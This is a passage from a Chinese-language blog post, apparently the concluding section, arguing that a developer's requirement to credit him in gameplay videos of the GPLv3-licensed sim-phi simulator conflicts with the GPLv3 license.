<section><h1><strong># 5. 总结</strong><a href="#-5-总结"><span>#</span></a></h1><p>在对lchzh3473的sim-phi模拟器使用GPLv3许可证的情况进行了深入分析后，我们可以得出以下结论：</p><p> </p><section><h2>## 5.1 GPLv3的核心精神与用户自由<a href="#-51-gplv3的核心精神与用户自由"><span>#</span></a></h2><p>GPLv3许可证的核心精神在于保障软件用户的四大自由：使用、修改、分享软件以及分享修改后的软件。sim-phi模拟器作为一款遵循GPLv3的自由软件，用户有权自由地运行和修改软件，不受额外限制。</p><p> </p></section><section><h2>## 5.2 输出内容与GPLv3约束的逻辑关系<a href="#-52-输出内容与gplv3约束的逻辑关系"><span>#</span></a></h2><p>GPLv3对软件输出内容的约束是有条件的。用户在使用软件时产生的输出，仅当这些输出内容本身构成受版权保护的作品时，才受到GPLv3的约束。这意味着，除非用户的视频内容直接涉及软件的修改或衍生作品，否则不受GPLv3的直接约束。</p><p> </p></section><section><h2>## 5.3 lchzh3473署名要求与GPLv3的兼容性<a href="#-53-lchzh3473署名要求与gplv3的兼容性"><span>#</span></a></h2><p>lchzh3473要求用户在发布sim-phi模拟器游玩视频时必须标注作者名字，这一要求与GPLv3的精神和规定存在冲突。GPLv3并未要求用户在使用软件产生的非软件作品（如视频）中必须标注原作者名字，除非这些作品构成了对软件的修改或衍生作品。</p><p> </p></section><section><h2>## 5.4 GPLv3对软件分发的署名要求<a href="#-54-gplv3对软件分发的署名要求"><span>#</span></a></h2><p>GPLv3确实要求在软件分发过程中尊重原作者的署名权，但这仅适用于软件本身的分发，而不适用于用户在使用软件过程中产生的个人输出内容，如游戏录像。</p><p> </p></section><section><h2>## 5.5 逻辑分析与最终结论<a href="#-55-逻辑分析与最终结论"><span>#</span></a></h2><p>通过对GPLv3许可证的逻辑分析，我们可以明确地得出结论：sim-phi模拟器作为一款遵循GPLv3的自由软件，其用户有权自由地运行和修改软件，而不受额外的限制。GPLv3对输出内容的约束是有条件的，仅当输出内容构成受保护的作品时才适用。lchzh3473要求标注作者名字的做法与GPLv3的规定不符，因为GPLv3并未要求用户在使用软件产生的非软件作品（如视频）中必须标注原作者名字。因此，lchzh3473的要求与GPLv3的精神和规定存在不一致之处。</p><p><strong>Q.E.D.</strong></p><p><strong>证毕</strong></p></section></section>]]></content>
    </entry>
</feed>
